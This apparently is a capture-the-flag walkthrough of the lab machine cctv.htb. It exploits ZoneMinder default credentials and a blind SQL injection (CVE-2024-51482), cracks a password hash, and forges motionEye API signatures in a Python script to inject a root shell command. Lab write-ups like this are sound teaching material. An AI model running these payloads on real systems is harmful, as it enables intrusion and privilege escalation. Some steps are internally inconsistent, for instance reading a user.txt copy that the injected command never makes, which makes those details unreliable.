TL;DR#

Log into ZoneMinder with default credentials (admin:admin), use CVE-2024-51482 (SQL injection) to extract the bcrypt password hash for user mark, crack it (opensesame), SSH in, then exploit motionEye (running as root on localhost:8765) by forging HMAC-signed API requests using the admin password hash from the config file to inject a command into the on_event_start hook, and trigger it via the motion HTTP control API.

Enumeration#

Port Scan#

22/tcp — OpenSSH 9.6p1 Ubuntu
80/tcp — Apache 2.4.58 (Ubuntu) → redirects to http://cctv.htb/

Add cctv.htb to /etc/hosts and browse to port 80.

Web Application#

The landing page is a static site for “SecureVision CCTV & Security Solutions” with contact emails info@cctv.htb and info@securevision.com.

Directory fuzzing reveals /zm — a ZoneMinder 1.37.63 installation (API v2.0).

ZoneMinder — Default Credentials#

ZoneMinder ships with admin:admin as default credentials. Log in at /zm/index.php — success.

The admin account has limited privileges (System: View), but the API token endpoint works:

curl -s "http://cctv.htb/zm/api/host/login.json" -d "user=admin&pass=admin"
# Returns JWT access_token

Using the token to list users:

curl -s "http://cctv.htb/zm/api/users.json?token=<TOKEN>"

Three accounts exist: superadmin (Id=1, full System:Edit), mark (Id=2), and admin (Id=3).

The API also exposes database credentials and other config:

ZM_DB_USER = zmuser
ZM_DB_PASS = zmpass
ZM_AUTH_HASH_SECRET = ...Change me to something unique...
ZM_FEATURES_SNAPSHOTS = 0   # blocks CVE-2023-26035

User Flag#

Step 1 — CVE-2024-51482: SQL Injection in event.php#

ZoneMinder 1.37.63 is vulnerable to CVE-2024-51482 — a blind SQL injection in the event tag removal endpoint. The tid parameter is injected into a DELETE FROM Event_Tags WHERE TagId = <tid> query without sanitization.

Confirm with a time-based payload:

GET /zm/index.php?view=request&request=event&action=removetag&tid=1 AND (SELECT 1 FROM (SELECT(SLEEP(3)))x)

The response delays 3 seconds — confirmed. The working conditional format is:

tid=1 AND (SELECT 1 FROM (SELECT(IF(<condition>,SLEEP(1.5),0)))x)

Step 2 — Extract mark’s Password Hash#

Write a custom boolean-based blind extraction script (time-based, binary search per character). Extract the bcrypt hash for user mark from zm.Users:

query = "SELECT Password FROM zm.Users WHERE Username='mark'"
# Extracted: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Note: LOAD_FILE() returns NULL (no FILE privilege) and secure_file_priv = /var/lib/mysql-files/ blocks INTO OUTFILE to web directories. Stacked queries don’t work (PHP query() not multi_query()). Time-based extraction is the only viable SQLi path.

Step 3 — Crack Hash & SSH#

hashcat -m 3200 '$2y$10$prZGnazejKcuTv5bKNexXO...' /usr/share/wordlists/rockyou.txt
# Result: opensesame

SSH in (note: fail2ban is active — blocks after ~3 failed SSH attempts for ~5 minutes):

ssh mark@cctv.htb   # Password: opensesame

The user flag is not in mark’s home — it’s in /home/sa_mark/user.txt (readable only by sa_mark). We need to escalate first.

Root Flag#

Enumeration#

mark@cctv:~$ sudo -l
# No sudo privileges

mark@cctv:~$ ss -tlnp
# Port 8765: motionEye (localhost only)
# Port 7999: motion HTTP control (localhost only)
# Port 8554: RTSP, 1935: RTMP, 9081: streaming
# Port 3306: MySQL

mark@cctv:~$ systemctl status motioneye
# Active, running as User=root

motionEye 0.43.1b4 is running as root on localhost:8765. The motion daemon’s HTTP control API is on port 7999.

Step 4 — motionEye Signed API#

motionEye uses HMAC-style signature authentication. The admin password hash is stored in the motion config:

mark@cctv:~$ grep admin_password /etc/motioneye/motion.conf
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

The signature is computed as (from motioneye/utils/__init__.py):

sha1(f"{METHOD}:{path}:{body}:{key}")

Where key is the admin password hash. Since we can read the config, we can forge valid API requests.

Step 5 — Command Injection via on_event_start#

Use the signed API to update camera config. motionEye translates the command_notifications_exec setting into the on_event_start directive in the motion config file — which executes via shell when a motion event is detected:

import hashlib, urllib.request, json, re

ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"
SIG_RE = re.compile(r"[^A-Za-z0-9/?_.=&{}\[\]\":, -]")

def sig(method, path, body_str, key):
    path = SIG_RE.sub("-", path)
    key = SIG_RE.sub("-", key)
    body_str = SIG_RE.sub("-", body_str) if body_str else ""
    return hashlib.sha1(f"{method}:{path}:{body_str}:{key}".encode()).hexdigest()

# 1. Get current camera config
path = "/config/1/get/?_username=admin"
s = sig("GET", path, None, ADMIN_HASH)
r = urllib.request.urlopen(f"http://127.0.0.1:8765{path}&_signature={s}")
config = json.loads(r.read())

# 2. Inject command into on_event_start via command_notifications
config["command_notifications_enabled"] = True
config["command_notifications_exec"] = "cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt"

# 3. Apply config
body = json.dumps(config)
path = "/config/1/set/?_username=admin"
s = sig("POST", path, body, ADMIN_HASH)
req = urllib.request.Request(f"http://127.0.0.1:8765{path}&_signature={s}",
                            data=body.encode(), method="POST",
                            headers={"Content-Type": "application/json"})
urllib.request.urlopen(req)

After applying, the command is appended to on_event_start in /etc/motioneye/camera-1.conf.

Step 6 — Trigger Motion Event#

The command only fires on motion detection events. Use the motion HTTP control API on port 7999 to enable emulate_motion, which simulates continuous motion:

# Enable motion emulation
curl "http://127.0.0.1:7999/1/config/set?emulate_motion=on"

# Wait a few seconds for motion event to trigger on_event_start
sleep 10

# Read the flags
cat /tmp/root.txt
cat /tmp/user.txt

Both flags are now readable.

Flags#

User: ceac94d8a91a9960379aa466b919d341
Root: 7409e74029033c8c3946176c086141d0

Attack Chain Summary#

Default creds admin:admin → ZoneMinder dashboard
              |
              v
CVE-2024-51482: blind SQLi in event.php tid parameter
              |
              v
Extract mark's bcrypt hash → hashcat → "opensesame"
              |
              v
SSH as mark:opensesame → foothold (user flag in sa_mark's home, not yet readable)
              |
              v
motionEye 0.43.1b4 running as root on localhost:8765
              |
              v
Read admin password hash from /etc/motioneye/motion.conf
              |
              v
Forge HMAC-signed API request → inject command into on_event_start hook
              |
              v
motion HTTP control API: emulate_motion=on → triggers event → command executes as root
              |
              v
root.txt + user.txt

Takeaways#

  • Default credentials remain the #1 entry point for CCTV/IoT systems. ZoneMinder’s admin:admin is unchanged across versions.
  • CVE-2024-51482 is a post-auth blind SQLi in ZoneMinder ≤1.37.63 via the tid parameter in event.php. Even without FILE privilege, extracting password hashes from zm.Users is sufficient for lateral movement.
  • Password reuse: mark’s ZoneMinder password (opensesame) was reused for SSH. Common in small-business CCTV deployments.
  • motionEye’s signed API provides a false sense of security. The admin password hash is stored in a world-readable config file (/etc/motioneye/motion.conf), allowing any local user to forge valid API requests. The command_notifications_exec setting injects directly into the on_event_start motion hook — executed by the shell as root.
  • motion HTTP control API (port 7999) allows enabling emulate_motion at runtime, which triggers motion events without actual camera input. This is the missing piece to fire the injected command.
  • Two-layer exploitation: motionEye (Python, signed API, config management) sits on top of motion (C, HTTP control, actual detection). Exploiting the full chain requires understanding how settings flow from motionEye config → motion config → shell execution.